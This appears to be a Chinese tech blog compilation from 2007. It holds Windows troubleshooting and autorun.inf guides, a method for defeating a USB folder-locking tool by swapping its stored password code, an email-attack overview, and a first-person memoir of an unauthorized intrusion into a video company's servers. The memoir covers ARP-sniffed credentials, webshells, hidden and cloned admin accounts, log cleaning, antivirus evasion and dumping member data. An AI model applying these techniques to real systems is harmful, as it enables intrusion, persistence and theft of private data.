  在本次发布的金山毒霸2008公测版中,笔者还注意到软件在流行病毒免疫、网页滤毒、网页防挂马、Windows Vista操作系统兼容、病毒扫描提速、主动系统漏洞修复、金山网镖防黑客、上传下载流量监控、隐私保护和家长防护等方面也都是狠下了一番功夫的。不过,笔者觉得金山网镖的改进依然不大,整个金山毒霸2008占用内存也有过大迹象。好在瑕不掩玉,金山毒霸2008值得一用。

autorun.inf完全操作手册

笔者按:鉴于现在网上完全介绍autorun.inf功能的文章不多,笔者在微软官网的一个犄角旮旯找到了一篇autorun.inf的英文使用说明,在翻译和笔者的亲自试验下写出此篇文章。

======我是分隔线======

一、autorun.inf是windows下操纵光盘行为的一个文件,需要放在光盘根目录下,部分操作对于硬盘也适用。

二、autorun.inf是可以被禁止的。方法如下:

点击开始->运行,在文本框中输入regedit或者regedt32。依次展开HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer,其中的NoDriveTypeAutoRun子键限制着Autorun的作用范围,默认为95(16进制)。

把禁用的设备标志相加设置为键值就可以完成设置,其中设备标志如下:

1:无法识别的设备(建议禁止,默认禁止)

2:没有根目录的设备(Drive without root directory未知含义,建议禁止,默认不禁止)

4:可移动的设备(U盘,建议禁止,很多病毒利用U盘的Autorun.inf进行传染,默认禁止)

8:固定的设备(硬盘,自己看着办,默认不禁止)

16:网络设备(web驱动器,建议禁止,默认禁止)

32:光盘驱动设备(CDROM,默认不禁止)

64:虚拟存储设备(RAM,建议禁止,默认不禁止)

128:未指定的其他驱动器(保留位,建议禁止,默认禁止)

三、autorun.inf文件分为三大部分[AutoRun] [AutoRun.Alpha] [DeviceInstall]。

[AutoRun]适用于Windows95以上系统与32位以上CD-ROM,必选。

[AutoRun.alpha]适用于基于RISC的计算机光驱,适用系统为Windows NT 4.0,可选。

[DeviceInstall]适用于Windows XP以上系统,可选。

四、[AutoRun]部分的命令及其详解。

1、DefaultIcon

含义:

指定应用程序的默认图标。

格式:

DefalutIcon=图标路径名[,序号]

参数:

图标文件名:应用程序的默认图标路径名,格式可以为.ico、.bmp、.exe、.dll。当文件格式为.exe和.dll时,有时需要使用序号来指定图标。

序号:当文件格式为.exe和.dll时,文件可能包括多余一个图标,此时需要使用序号来指定图标,需要注意的是,序号是从0开始的。

备注:

应用程序的默认图标将在windows explorer核心的驱动显示窗口中替代设备的默认图标来显示。

图标路径名的默认目录是设备根目录。

2、Icon

含义:

指定设备显示图标。

格式:

Icon=图标路径名[,序号]

参数:

图标文件名:应用程序的默认图标路径名,格式可以为.ico、.bmp、.exe、.dll。当文件格式为.exe和.dll时,有时需要使用序号来指定图标。

序号:当文件格式为.exe和.dll时,文件可能包括多余一个图标,此时需要使用序号来指定图标,需要注意的是,序号是从0开始的。

备注:

设备显示图标将在windows explorer核心的驱动显示窗口中替代设备的默认图标来显示。

图标路径名的默认目录是设备根目录。

当存在应用程序默认图标(DefaultIcon)时,本命令无效。

3、Label

含义:

指定设备描述

格式:

Label=描述

参数:

描述:任意文字,可以包括空格。

备注:

设备描述将在windows explorer核心的驱动显示窗口中替代设备的默认描述\卷标来显示。

在非windows explorer核心的驱动显示窗口中(例如右击设备选择属性)显示的仍然是设备的卷标。

4、Open

含义:

指定设备启用时运行之命令行。

格式:

Open=命令行

(命令行:程序路径名 [参数])

参数:

命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开或使用ShellExecute命令。

备注:

命令行的起始目录是设备根目录和系统的$Path环境变量。

5、ShellExecute

含义:

指定设备启用时执行文件。(操作系统支持未知)

格式:

ShellExecute=执行文件路径名 [参数]

参数:

执行文件路径名:设备启用时执行文件路径名。可以是任意格式文件。系统会调用设置的程序执行此文件。

参数:参数,根据执行文件作调整

备注:

命令行的起始目录是设备根目录和系统的$Path环境变量。

6、Shell\关键字\Command

含义:

定义设备右键菜单执行命令行。

格式:

Shell\关键字\Command=命令行

(命令行:程序路径名 [参数])

参数:

命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开。

备注:

命令行的起始目录是设备根目录和系统的$Path环境变量。

7、Shell\关键字

含义:

定义设备右键菜单文本。

格式:

Shell\关键字=文本

参数:

关键字:用以标记菜单,可以使用任何字符表示,包括空格。

文本:在右键菜单中显示的文本。可以使用任何字符,不能存在空格。

备注:

在同一Autorun.inf文件中,不同右键菜单关键字不同,相同右键菜单关键字相同。

右键菜单文本中可以使用&设定加速键,&&输出一个&。

Shell\关键字\Command命令Shell\关键字两者缺一不可,顺序无所谓。

当不存在Open、ShellExecute与Shell命令时,设备启用时运行第一个设备右键菜单指定命令。

8、Shell

含义:

定义设备启用时运行之设备右键命令。

格式:

Shell=关键字

参数:

关键字:标记过的菜单关键字

备注:

Shell指定的关键字可以在AutoRun.inf文件的任意部分。

Open\ShellExecute\Shell命令后定义的优先级高。

四、[AutoRun.alpha]部分的命令简介。

[AutoRun.alpha]部分的命令与[AutoRun]部分的命令相同,只不过在基于RISC的计算机光驱中,[AutoRun.alpha]优先级高于[AutoRun]

五、[DeviceInstall]部分命令及其详解。

DriverPath

含义:

定义搜索驱动程序目录。

格式:

DriverPath=驱动程序路径

参数:

驱动程序路径:驱动程序所在路径,包括其子路径。

备注:

Windows XP以上支持。

仅CD-ROM支持

当系统监测到一个新的设备时,会提示用户寻找设备的驱动程序。当用户点选此CD-ROM时,当[DeviceInstall]部分存在时,系统会按照 DriverPath所标记的路径出寻找驱动程序。未标记的路径系统将忽略查找。当[DeviceInstall]部分不存在时,系统将进行完全查找。

如果不希望系统在此CD-ROM中搜索驱动程序,只加一行[DeviceInstall]不加DriverPath命令即可。

星期四, 十一月 08, 2007

网管经验技巧 十四种系统故障的解决方法

一、在Windows下经常出现蓝屏故障

出现此类故障的表现方式多样,有时在Windows启动时出现,有时在Windows下运行一些软件时出现,出现此类故障一般是由于用户操作不当促使Windows系统损坏造成,此类现象具体表现在以安全模式引导时不能正常进入系统,出现蓝屏故障。有时碎片太多也会引发此类故障,有一次笔者在整理碎片后就解决了该故障,如若排除此项可能则有以下几种原因可能引发该故障。

1、内存原因。由于内存原因引发该故障的现象比较常见,出现此类故障一般是由于芯片质量不佳所造成,但有时我们通过修改CMOS设置中的延迟时间CAS(将其由3改为2)可以解决该问题,倘若不行则只有更换内存条。

2、主板原因。由于主板原因引发该故障的概率较内存稍低,一般由于主板原因出现此类故障后,计算机在蓝屏后一般不会死机,而且故障出现频繁,对此唯有更换主板一途。

3、CPU原因,由于CPU原因出现此类故障的现象比较少见,一般常见于cyrix的CPU上,对此我们可以降低CPU频率,看能否解决,如若不行,则只有更换一途。

二、计算机以正常模式在Windows启动时出现一般保护错误

出现此类故障的原因一般有以下几点:

1、内存条原因。倘若是内存原因,我们可以改变一下CAS延迟时间看能否解决问题,倘若内存条是工作在非66MHz 外频下,例如75MHz 、83MHz 、100MHz甚至以上的频率,我们可以通过降低外频或者内存频率来试一下,如若不行,只有将其更换了。

2、磁盘出现坏道。倘若是由于磁盘出现坏道引起,我们可以用安全模式引导系统,再用磁盘扫描程序修复一下硬盘错误,看能否解决问题。硬盘出现坏道后,如不及时予以修复,可能会导致坏道逐渐增多或硬盘彻底损坏,因此,我们应尽早予以修复。

3、windows系统损坏。对此唯有重装系统方可解决。

4、在CMOS设置内开启了防病毒功能。此类故障一般在系统安装时出现,在系统安装好后开启此功能一般不会出现问题。

 三、计算机经常出现随机性死机现象

死机故障比较常见,但因其涉及面广,是以维修比较麻烦,现在我将逐步予以详解。

1、病毒原因造成电脑频繁死机

由于此类原因造成该故障的现象比较常见,当计算机感染病毒后,主要表现在以下几个方面:

①系统启动时间延长;

②系统启动时自动启动一些不必要的程序;

③无故死机

④屏幕上出现一些乱码。

其表现形式层出不穷,由于篇幅原因就介绍到此,在此需要一并提出的是,倘若因为病毒损坏了一些系统文件,导致系统工作不稳定,我们可以在安全模式下用系统文件检查器对系统文件予以修复。

2、由于某些元件热稳定性不良造成此类故障(具体表现在CPU、电源、内存条、主板)

对此,我们可以让电脑运行一段时间,待其死机后,再用手触摸以上各部件,倘若温度太高则说明该部件可能存在问题,我们可用替换法来诊断。值得注意的是在安装CPU风扇时最好能涂一些散热硅脂,但我在某些组装的电脑上却是很难见其踪影,实践证明,硅脂能降低温度5—10度左右,特别是P Ⅲ 的电脑上,倘若不涂散热硅脂,计算机根本就不能正常工作,笔者就曾遇到过一次此类现象。该机主要配置如下:磐英815EP主板、PⅢ733CPU、133外频的128M内存条,当该机组装完后,频繁死机,连Windows系统都不能正常安装,但是更换赛扬533的CPU后,故障排除,怀疑主板或CPU有问题,但更换同型号的主板、CPU后该故障也不能解决。后来由于发现其温度太高,在CPU上涂了一些散热硅脂,故障完全解决。实践证明在赛扬533以上的CPU上必须要涂散热硅脂,否则极有可能引起死机故障。

3、由于各部件接触不良导致计算机频繁死机

此类现象比较常见,特别是在购买一段时间的电脑上。由于各部件大多是靠金手指与主板接触,经过一段时间后其金手指部位会出现氧化现象,在拔下各卡后会发现金手指部位已经泛黄,此时,我们可用橡皮擦来回擦拭其泛黄处来予以清洁。 4、由于硬件之间不兼容造成电脑频繁死机

此类现象常见于显卡与其它部件不兼容或内存条与主板不兼容,例如SIS的显卡,当然其它设备也有可能发生不兼容现象,对此可以将其它不必要的设备如Modem、声卡等设备拆下后予以判断。

5、软件冲突或损坏引起死机

此类故障,一般都会发生在同一点,对此可将该软件卸掉来予以解决。

四、计算机在Windows启动系统时出现*.Vxd或其它文件未找到,按任意键继续的故障

此类故障一般是由于用户在卸载软件时未删除彻底或安装硬件时驱动程序安装不正确造成,对此,我们可以进入注册表管理程序,利用其查找功能,将提示未找到的文件,从注册表中删除后即可予以解决。

五、在Windows以正常模式引导到登录对话框时,点“取消”或“确定”后桌面无任何图标,不能进行任何操作。

此类故障一般是由于用户操作不当,造成系统损坏造成。解决方法如下:首先我们以安全模式引导系统,进入控制面板,进入“密码”选项,将“用户配置文件”设为“此桌面用户使用相同的桌面及首选项”,再进入“网络”,将“拔号网络适配器”以外的各项删除,使其登录方式为Windows登录,重新启动计算机,即可予以解决。

六、在Windows下关闭计算机时电脑重新启动

我在电脑报近期的一篇文章中看到其解决办法是用整理硬盘或重装Windows来解决,其实不然,产生此类故障一般是由于用户在不经意或利用一些设置系统的软件时,使用了Windows系统的快速关机功能,从而引发该故障,其解决方法如下:点击“开始”—“运行”—“msconfig”,再在“系统配置实用程序”面板中选择高级,将其中“禁用快速关机”选中,重新启动计算机即可予以解决。

七、Windows中汉字丢失

在电脑中安装了Windows后又安装了其他软件,整理硬盘碎片时,系统提示:“硬盘碎片含有错误”。用SCANDISK修复后,碎片真理便不能用了,再进入Windows附件中时,发现其中汉字不见了。经检查没有病毒,再查看SCANDIDSK.LOG文件,提示:“文件夹C:WINDOWS已被损坏………”。

根据上述故障现象,中文Windows发生汉字乱码,大多是因注册表中有关汉字显示的内容丢失而造成。此时,打开注册表编辑器(WINDOWSREGEDIT.EXE),再打开有“Associated Default Fonts”及“Associated Char Set”这两行关键字,若有,再分别打开这两行关键字即可看到其中内容。当只有“默认”一行而无其他内容,表明无法定义有关的汉字显示,为汉字乱码的原因。

可采用手工方法进行修复。

(1)单击“开始”,选择“运行”。

(2)在“运行”对话框中,键入regedit,单击“确定”,打开注册表编辑器。

(3)展开“我的电脑HKEY—LWCAL—MACHINESystemcurrent Control SetControl Fontassoc”查看底下有无“Aossiated Char Set文件夹图标,在窗口的右栏中,将增加以下内容:

ANSI(00)“Yes”

GB2312(86)“Yes”

WEM(FF)“Yes”

SYMBOL(02)“on”

增加方法为:在编辑新建菜单中,单击“串值”,再在右栏中出现的文字框中,键入ANSI(00),之后双击该文字框,在出现的对话框中,键入Yes,单击“确定”,其余增加的内容依此类推。

(4)按照上述方法,单击Associated Default Fonts文件图标,其窗口的右栏中将增加以下内容:

Assoc System Font“Simsun、ttf”

Font Package Decorative“宋体”

Font Package Dont Care“宋体”

Font Package Modern“宋体”

Font Package Roman“宋体”

Font Package Script“宋体”

Font Package Swiess“宋体”

(5)当没有“Associated Char Set”及“Associated Default Fonts”两行关键字时,则Fontassoc文件夹,在编辑新菜单下,单击“主键”,再在出现的文字框中,分别键入上述两行关键字,之后按步骤(4)增加所列之内容。

(6)关闭系统,重新启动计算机。

 八、在Windows下打印机不能打印

在确认打印机完好的情况下,首先用户进入DOS状态(纯DOS),在命令提示行输入dir>prn或按键盘上的“Print screen sysrq”键,看打印机能否打印,倘若不行一般可判断主板的打印口或打印线缆有问题,但据笔者经验有可能与cmos设置中的打印口模式(一般有Ecp、Epp、Spp几种)设置有关,用户可相应调换试验,还有一种比较特殊的情况,当打印口损坏后ucdos、Windows下均能打印,但按上述检测方法或理德名片系统下却不能打印,对此唯有加多功能卡方能解决(加多功能卡后要屏蔽主板上的IDE、com、打印口)。倘若Dos下能够打印,可按以下方法来予以解决:

①在Windows下,进入控制面板的系统属性,看打印端口LPT1是否存在,倘若没有可进入控制面板--添加新硬件,让其搜索新硬件,再将找到的打印口添加进去就可以了。

②驱动程序是否已经正确安装,重新安装打印机驱动程序。

③安装系统文件的磁盘是否有剩余空间,一般空间不足会有内存不足的提示,只要卸除一些软件就可以了。

④计算机可能感染病毒。

九、在Windows下运行应用程序时提示内存不足

一般出现内存不足的提示可能有以下几种原因:

①磁盘剩余空间不足,只要相应删除一些文件即可。

②同时运行了多个应用程序。

③计算机感染了病毒。

十、在Windows下打印机打出的字均为乱码

此类故障一般是由于打印机驱动程序未正确安装或并行口模式设置不符有关,对于第一种情况解决办法比较简单,如若是第二种情况可进入Cmos设置后更改并行口模式且逐个试验即可(一般有Ecp、Epp、Spp三种)。

十一、在Windows下运行应用程序时出现非法操作的提示

此类故障引起原因较多,有如下几种可能:

①系统文件被更改或损坏。倘若由此引发则打开一些系统自带的程序时就会出现非法操作的提示,(例如打开控制面板)。

②驱动程序未正确安装,此类故障一般表现在显卡驱动程序之上,倘若由此引发,则打开一些游戏程序时均会产生非法操作的提示,笔者还曾遇到过一例由此引发的特殊现象,有时在打开某些网页时出现非法操作的提示。

③内存条质量不佳引起(有时提高内存延迟时间即将系统默认的3改为2可以解决此类故障)。

④有时程序运行时倘若未安装声卡驱动程序亦会产生此类故障,例如抢滩登陆战 ,倘若未安装声卡驱动程序,运行时就会产生非法操作错误。

⑤软件之间不兼容,例如IE5.5装于win98第二版的系统上,当IE同时打开多个窗口时有时会产生非法操作的提示。

 十二、拨号成功后不能打开网页

出现此类故障后有以下几种现象:

1、提示无法打开搜索页。此类故障一般是由于网络配置有问题造成。进入“控制面板”--“网络”,将拨号适配器以外的各项全部删除,重新启动计算机后再添加microsoft的“TCP/IP协议”重新启动计算机后即可解决。

2、 一些能够进去的站点不能进去且长时间查找站点。有一些MODEM如若用户没有为其指定当地的IP地址就会出现此类故障,可进入MODEM设置项再为其指定当地的IP地址即可,例如湖南的IP地址为:202.103.96.68。还有一种可能是由于用户用软件优化过,对此也可按上面介绍的方法重新安装网络选项或恢复一下注册表看能否解决问题,如若不行的话,就笔者经验只有重新安装系统方可解决。 3、在windows的IE浏览器中,为了限制对某些internet站点的访问,可以在“控制面板”的“internet”设置的“内容”页中启用“分级审查”,用户可以对不同的内容级别进行限制,但是当我们浏览含有activex的页面时,总会出现口令对话框要求我们输入口令,如果口令不对,就会无法看到此页面。这个口令被遗忘后,用户便无法正常浏览。解决的办法就是通过修改注册表,删除这个口令。方法如下:

打开注册表编辑器,找到HKEY_LOCAL_MACHINESoftwaremicrosoftwindowscurrent versionpolicies

atings。在这个子健下面存放的就是加密后的口令,将ratings子键删除,IE的口令就被解除了。

十三、3DMAX正常安装完成后不能启动

此类故障一般是由于用户的windows系统文件安装不全所造成,windows一般在正常安装情况下会少装如下几个文件:vdd.vxd、vcomm.vxd、vmouse.vxd、vflatd.vxd、vdmad.vxd、configmg.vxd、ntkern.vxd,我们只要将其添加进去即可,方法如下:点击开始--程序--附件--系统工具--系统信息,再点击“工具”--系统文件检查器,选取从安装软盘提取文件,在空白栏内输入以上提到的各个文件,提取完成后即可解决故障。

十四、计算机自动重新启动

此类故障表现在如下几个方面:在系统启动时或在应用程序运行了一段时间后出现此类故障。引发该故障的原因一般是由于内存条热稳定性不良或电源工作不稳定所造成,还有一种可能就是CPU温度太高引起。还有一种比较特殊的情况,有时由于驱动程序或某些软件有冲突,导致windows系统在引导时产生该故障。

破解U盘加密工具的加密方法原理

破解U盘加密工具的加密方法原理

使用U盘、移动硬盘加密工具加密文件夹后,我用文件嗅探器工具也看不到加密后真实的文件,当用金山毒霸扫描发现,好像这些文件被隐藏保存在\Thumbs.dn\7.\中(其中那个7.中的7有时是其他的数字),但是我直接这样还是不能进入,所以我就特意对这款加密工具研究了一下,下面说下我的一点心得。

  我们先在D盘新建个文件夹如lskr,即地址为D:\lskr,在里面随便放些文件,我放了大小分别为168KB和681KB的exe文件lskr1.exe和lskr2.exe,再将U盘加密工具绿色版(文件名为addpass.exe)放进去,运行这个addpass.exe,用密码为123456加密后,前面两个文件消失,只剩下addpass.exe这一个文件。

  我们在“我的电脑-工具-文件夹选项-查看”中勾选“显示所有文件和文件夹”,又把“隐藏受保护的操作系统文件(推荐)”前的勾去掉,勾上“显示系统文件夹的内容”,这时显示出另两个隐藏文件Thumbs.dn和desktop.ini,在desktop.ini中的内容是:[.ShellClassInfo]InfoTip=文件夹 IconIndex=2 IconFile=addpass.exe ConfirmFileOp=1 看了下对我们好像没用,不用管它,再看Thumbs.dn的大小有850KB,和那两个文件的总大小差不多,不用怀疑,那两个文件一定是隐藏在里面的,直接双击进入Thumbs.dn,发现里面有个“添加打印机”和“Microsoft Office Document Image Writer”,并未发现我们寻找的文件,那两个文件跑哪去了呢?

  我们在开始-运行-输入cmd,确定后进入MS-DOS,输入“cd\”回车进入C:,输入“D:”回车进入D:,输入“cd d:\lskr\Thumbs.dn”进入Thumbs.dn,再输入“dir /a”,这时候我们发现里面有几个文件:117789687,117789687LIST.men,1.mem,2.mem和desktop.ini,我们发现1.mem,2.mem的大小与最先放进去的那两个文件刚好差不多,所以他们应该是加密后的自定义格式文件,我们直接将它们拷贝出来看,使用命令“copy 1.mem D:\”和“copy 2.mem D:\”将这两个文件复制到D盘,再将它们的后缀由.mem改为.exe,这时我们惊奇的发现它们都恢复成本来的模样,跟放进去时的文件除文件名外都相同,看来这种所谓的U盘加密只是简单的改下后缀名,然后再隐藏一下而已。

  



  但是虽然我们能找到加密过后的文件,下一步我们能不能破解那个加密的密码呢?我们发现还有个文件117789687LIST.men,而这个文件很可能就是用来保存密码的,使用命令“copy 117789687LIST.men D:\”和“start 117789687LIST.men”,都提示系统找不到指定的文件,这时我们使用“attrib 117789687LIST.mem -s -h -r”,删除文件的shr属性,再使用命令“start 117789687LIST.mem”,用文本文档打开,发现里面是一长串的字符,原以为这就是密码经过加密过后的代码,后来我又换了个密码重新加密,发现里面代码的内容没有改变,但当我把需要加密的文件增多或减少时,里面的内容随之变化。

  于是我猜想这应该是存储加密文件的文件名等信息的,我又看了另外个文件desktop.ini,里面内容为[.ShellClassInfo] CLSID=,还有个文件117789687,内容为343636303032,当加密密码改变时,这个代码也随之改变,如密码换成123时,这个代码变成343636,所以我判断这个才是真正的密码存储文件,但是它使用的是什么加密方式,我就无从得知了。

  但我们可以使用替换法解决问题,如果我们忘记加密时的密码或查看别人的加密文件时,就可以将我们知道密码的加密代码来替换这段代码,于是就可用我们已知的密码解密那个加密文件夹了,例如我们可以将上面的代码343636303032替换其他加密文件的代码后,这时解密密码就变成123456。

  这样,我们的破解就告一段落,看来,这种加密根本就不是用加密算法对文件数据加密,而只是简单的将文件信息改个后缀名隐藏起来,使一般人不能轻易浏览文件内容。这个软件加密的时候,将自动创建一个Thumbs.dn文件夹,将原文件变成以1,2,3...为文件名,以.mem的后缀的文件隐藏保存在Thumbs.dn文件夹内,另外创建117789687LIST.men保存文件名和位置等信息,117789687保存密码,并与U盘加密工具关联,一旦再次双击那个工具以后,弹出对话框要求密码确认,如果密码正确,就还原那些文件,否则就拒绝。

屏蔽“始终执行此操作”选项 避免恶意设置

  作者:杨睿

  在“找回丢失的‘打开文件夹以查看文件’选项”一文里,大家知道了如何解决“始终执行此操作”的问题的方法。虽然问题是解决了,但也只是暂时性的,并不能从根本上解决问题。假如有人再次设置了“始终执行这种方式”,你就还要再次进入USB移动存储设备删除对应的“atutorun.inf”文件才行。

  笔者跟大家分享一个方法,通过组策略可以彻底屏蔽“始终执行此操作”信息提示的复选框。

  点击“开始”→“运行”,输入“gpedit.msc”后回车即可打开组策略对象编辑器。依次展开“用户配置”→“管理模块”→“Windows 组件”→“自动播放策略”(如图1)。



图1

  接下来,双击右侧窗口中的“始终执行此操作”,在弹出的窗口中点选“已启用”(如图2)。



图2

  设置完毕后,点击“确定”按钮保存设置即可生效。此后,当系统再次出现“自动播放”对话框时,系统提示对话框中就不会再出现“始终执行此操作”的复选提示项,也就可以彻底免除被他人“故意设置”的烦恼了。

看黑客是如何攻击电子邮件的

  毫无疑问,电子邮件是当今世界上使用最频繁的商务通信工具,据可靠统计显示,目前全球每天的电子邮件发送量已超过500亿条,预计到2008年该数字将增长一倍。

  电子邮件的持续升温使之成为那些企图进行破坏的人所日益关注的目标。如今,黑客和病毒撰写者不断开发新的和有创造性的方法,以期战胜安全系统中的改进措施。

  出自邮件系统的漏洞

  典型的互联网通信协议——TCP和UDP,其开放性常常引来黑客的攻击。而IP地址的脆弱性,也给黑客的伪造提供了可能,从而泄露远程服务器的资源信息。

  很多电子邮件网关,如果电子邮件地址不存在,系统则回复发件人,并通知他们这些电子邮件地址无效。黑客利用电子邮件系统的这种内在“礼貌性”来访问有效地址,并添加到其合法地址数据库中。

  防火墙只控制基于网络的连接,通常不对通过标准电子邮件端口(25端口)的通信进行详细审查。

  黑客如何发动攻击

  一旦企业选择了某一邮件服务器,它基本上就会一直使用该品牌,因为主要的服务器平台之间不具互操作性。以下分别概述了黑客圈中一些广为人知的漏洞,并阐释了黑客利用这些安全漏洞的方式。

  一、IMAP 和 POP 漏洞

  密码脆弱是这些协议的常见弱点。各种IMAP和POP服务还容易受到如缓冲区溢出等类型的攻击。

  看看黑客是如何攻击电子邮件系统的(2)

  二、拒绝服务(DoS)攻击

  1.死亡之Ping——发送一个无效数据片段,该片段始于包结尾之前,但止于包结尾之后。

  2.同步攻击——极快地发送TCP SYN包(它会启动连接),使受攻击的机器耗尽系统资源,进而中断合法连接。

  3.循环——发送一个带有完全相同的源/目的地址/端口的伪造SYN包,使系统陷入一个试图完成TCP连接的无限循环中。

  三、系统配置漏洞

  企业系统配置中的漏洞可以分为以下几类:

  1.默认配置——大多数系统在交付给客户时都设置了易于使用的默认配置,被黑客盗用变得轻松。

  2.空的/默认根密码——许多机器都配置了空的或默认的根/管理员密码,并且其数量多得惊人。

  3.漏洞创建——几乎所有

星期四, 十月 18, 2007

领土之争——入侵某视讯服务器回忆录

领土之争——入侵某视讯服务器回忆录

作者:唐不狐(blog.wang1.cn)

写在前面:

老早就打算写这样一篇文章:能够细致地反映出入侵中攻防的具体内容,我想这比单纯的技术文章有趣的多。有鉴于此,我将尽力完整描述入侵过程中的思考方式。

1.石榴裙下的kk

说实话,就第一次拿到权限而言,没有多少技术含量。我花了N久时间收集KK网络的各种信息,最终以arp欺骗获取权限。

kk的重要端口配置:ftp-21212;mssql-12345;terminal services-54321;

我们可以看到kk网管是有安全意识的,他把重要的数据端口改成10000以上的高端口,这在入侵之初就让我吃了闭门羹。因为我有个不太好的习惯,第一次扫描端口总是在1-10000内。而以上端口是我某次发狠心扫描1-65000发现的。

有了这个发现,我成功利用cain的arp欺骗功能获得:ftp口令,mssql口令,终端口令

2.webshell下的徘徊

再次证明kk网管对安全的意识就是在webshell环境中的遭遇,我是直接使用ftp上传shell,起初是海阳的2006版,shell没有写权限。

当时还没有嗅到终端口令,我在webshell里考虑着提权的可能性。mssql是2005版的,连接用户权限是db_owner,作为不大。ftp是FileZilla Server这款软件配置的。我之前入侵kk同段server的时候遇到过,这玩意的配置文件默认会泄漏口令,而且是明文的。

但令我失望的是kk网管的专业再次延长了其沦陷的时间。我从他的配置信息里读到32位的md5加密口令,破解失败。

当然我收获了第一步的成功果实,利用数据库管理功能刷了些点,自己爽了一晚上。

3.天堂与地狱的距离仅一步之遥

在我嗅到终端口令后,我一举拿下kk的2台重要server,其中一台是数据服务器。(口令不一样)

我很明白:kk网管很专业,也很勤快,几乎每天都会上来几次。我必须把后门做的隐蔽些。于是我做了较为详细的计划,如下:

a.我上线的时间应该是周末早上(这类成人站点晚上营业,周末早上是最安全的),避开网管

b.两台机子上的后门放置方式应该不一样(防治一台被查出,另一台也挂掉),后门也应该是多道的

c.日志处理要极谨慎

于是我在周六的早上6:00,悄悄登陆,分别做了以下工作。

1.我在有web的服务器上(有多个网站)的几个网站都插了一句话马,在隐蔽目录直接留了马,并修改了时间属性

2.一台机子我做了name$这样的隐藏帐号;而另一台我把sqldebugger用户克隆成administrator

3.我在数据库服务器上放了端口复用后门(后来发现tcp/ip筛选导致我这个后门无法使用)

4.我记录了所有已经获得的口令,并仔细查看了web网站结构,后台登陆口,数据库内的管理帐号(密码是加密的),包含经销商、主播、会员等的数据

5.我清理了曾经用过的程序日志,悄悄退出,并决定不再轻易登陆

6.arp依然是我的一道后门

然而,即便如此,接下来的几天,我都无法阻止权限的丢失。(当然主要暴露原因是我刷库造成的)

先是管理员发现了webshell的存在,他果断的直接使用备份还原。(kk的网站不大)接下来他又觉察到了FTP口令泄密,修改口令,并且做了ip限制。(这是我在后面使用放置在其他站的webshell查看配置文件知道的)。

再接下来,他又对sql端口,终端端口做了ip安全策略,仅允许指定的ip和ip段访问。这样我即使有口令也无可奈何了。

4.领土之争

kk的web脚本是aspx的,原先我留的aspshell总是被他抓到,我于是留了个心眼,藏了几个aspxshell混在里面。果然管理员并没有发现。(后来知道是禁用了asp)

于是我面临这样的处境:

我有一个aspxshell(lake2的)可以运行cmd,一个admin权限的用户口令。

限制是:shell没有写权限,lake2的这款shell连接sql时,遇到非1433端口,无法连接。而我又不能上传新的shell上去。

有人问:你怎么不用nc反弹呢?

kk做了tcp/ip筛选,对tcp端口的出站访问做了严格限制,仅允许80,21212,12345,54321,1935(flash media server).这也是我的端口复用后门失效的原因.(其实端口复用后门不是真正的复用,还是要用到其他端口的)

又有人问:psexec(pstools套件里的这个工具不是可以用吗?)

psexec的运行需要先决条件:即rpc共享开启,需要开启server,workstation服务.(kk的这两个服务是关闭的,而我在shell下是没有权限启动服务的).即便如此我在本地测试的时候都没有成功.

我考虑了3套可行方案:

a.我想到了runas命令可以其他用户身份执行指令,运行程序

b.sql的命令行用法:isql

c.入侵他允许连接的那些ip和ip段中的至少一台,作为跳板进去.(这个列表我已经获得)

最终我成功的2条.

a.runas需要二次交互,直接命令行是无法完成的,需要写脚本,或利用第三方程序.脚本我google到一些例子,本地都没有测试成功.工具也只是听说,无缘得见,本方案失败.

b.isql的用法

isql -S ip,port -U login_id -P pass -d database -Q "SELECT * FROM TABLE"

我翻阅了网上的资料,以上命令是正确的,但我在shell下连接时,却提示“登陆失败”。苦恼许久,最后才发现当pass中含有特殊字符时需要用“”包含起来。这一发现让我顺利的解决刷库问题。

接下来我尝试了猜解sa用户的口令,以期望用此来提升权限。失败

c.当我在第二套方案遇到问题时,我一边在网上翻阅资料,一边尝试了第三套方案。这中间遇到了一个问题。

我成功的拿到一个shell,并且找到了sa口令,本以为事情会很顺利。问题却来了:

内网,我需要上传lcx端口转发工具,才能远程登陆。在我上传的时候,我发现无论我上传什么,都只出现一个21B大小的文件。然后我利用tftp,ftp,vbs下载均告失败。

这个问题困扰了我几天。

后来我想起是不是因为组件的问题,导致我上传文件失败?我浏览了server的程序文件夹发现其安装有另外的上传组件。这坚定了我的判断。于是解决方案也随之出炉了:

我找了一个无组件上传脚本,顺利的解决了文件上传问题。当然这里遇到我们亲爱的瑞星的小小阻扰。(以前瑞星对加壳的文件查杀能力是很弱的,新版这方面有所提升,当然免杀一个lcx并非难事,就此不表)

有了上面的成功,我成功的再次进入kk的服务器。

5.好事多磨

当我得意的用刷库的帐号去网站溜达的时候,却发现我无法正常使用该帐号,总是在连接到它的3号视讯服务器的时候,当掉。更严重的时,几次之后我的ip就会被封锁。

我意识到问题的棘手。通过抓包,我获取了3号视讯服务器的ip。

并再一次成功入侵,这次入侵更有了一些意外收获。我在翻查msn聊天记录的时候,得到很多重要的口令。更对整个公司的运作有了充分的了解。

6.尾声

这场领土之争谈不上谁胜了,而我写此文的目的也不仅是展现一次入侵,更是一次防守。立体的攻防演练,我们不防当作一次黑盒测试。

浅谈web app二次漏洞

作者:T_Torchidy (jnchaha_at_163.com)

来源:安全焦点

在假设设计上不存在问题(即人解决某个应用的方式不存在问题)以及所采用的语言以及其他周边组件是安全的情况下,程序的漏洞就大部分就是由于在实现问题的过程中,程序员对安全的漠视或是对安全的不太了解造成的,而从程序的角度看,这种漏洞不外乎是不安全的参数进入不安全的操作中引起的。

不安全的操作大家都知道有很多,譬如文件读写,数据库查询,代码执行以及其他的一些危险函数的使用等等,那么不安全的参数主要是哪些呢?有人说所有用户的输入都是有害的,在我看来输入可以分两种,直接的输入与间接的输入。直接的输入是可以看到的,如url里的参数,浏览器与服务器的一些环境变量,用户提交的Cookie,用户通过表单进行的输入等等,对于这些输入大部分的程序员都会在安全上比较在意,比较注意参数的过滤,因为这些输入是显而易见的,触发比较简单,甚至一些输入如果不做过滤的话会导致程序出错,再加上PHP这种语言对于一些进入的参数的默认保护(Magic Quote选项),所以这种参数现在在大的程序里比较少出问题,但是另外一种隐式的输入却被人们忽略了,那就是来自数据库(包括Mysql这种数据库,文本数据库和一些人常用的cache以及php配置文件等等),可以尝试为程序做一个流程图:

